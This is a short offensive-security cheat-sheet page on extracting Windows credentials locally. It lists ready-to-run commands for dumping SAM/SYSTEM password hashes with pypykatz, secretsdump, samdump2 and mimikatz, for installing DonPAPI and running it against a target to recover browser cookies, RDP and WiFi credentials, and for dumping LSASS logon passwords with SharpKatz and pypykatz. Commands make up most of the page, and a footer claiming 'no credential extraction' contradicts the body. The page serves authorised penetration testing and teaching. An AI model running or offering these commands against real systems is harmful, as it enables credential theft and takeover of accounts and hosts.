Local credential extraction
Recover password hashes from SAM and SYSTEM hives, DPAPI secrets and an LSASS dump.
SAM database
The SAM and SYSTEM registry hives normally reside in
C:\Windows\System32\config. Compatible offline copies can yield local-account
password hashes; acquiring them from a live host requires suitable privileges.
pypykatz
pypykatz registry --sam SAM SYSTEMsecretsdump.py
secretsdump.py -sam SAM -system SYSTEM LOCALsamdump2
samdump2 SYSTEM SAM > hashes.txtmimikatz
mimikatzInside the Mimikatz console:
privilege::debug
token::elevate
lsadump::samDPAPI
DonPAPI
DonPAPI is a tool that quickly dumps credentials or data stored in the DPAPI. It can among other things recover the following:
- Browser credentials and cookies (firefox, chrome, edge, etc.)
- RDP credentials
- mRemoteNG database
- WiFi keys
This is credential collection using existing access, not password spraying. Recovery depends on access to the relevant DPAPI keys and protected data.
Installation
git clone https://github.com/login-securite/DonPAPI.git
cd DonPAPI
python3 -m pip install -r requirements.txt
python3 DonPAPI.pyUsage
DonPAPI domain/user:password@targetTarget syntax and installation differ between DonPAPI versions; check the installed release’s help before using this legacy example.
The tool also offers pass-the-hash and pass-the-ticket techniques.
LSASS
SharpKatz (live process)
sharpkatz.exe --Command logonpasswordsPypykatz
pypykatz lsa minidump lsass.dmpProvenance and confidence
- Version
- 2
- Sources reviewed
- 2026-11-23
- Confidence
- medium — Legacy RTFM; v2 editorial review on 2026-11-23 corrects the hive path and separates LSASS/DPAPI collection from SAM parsing and password spraying. No credential extraction.
Also searched as: extraction locale, dump sam, dpapi, identifiants windows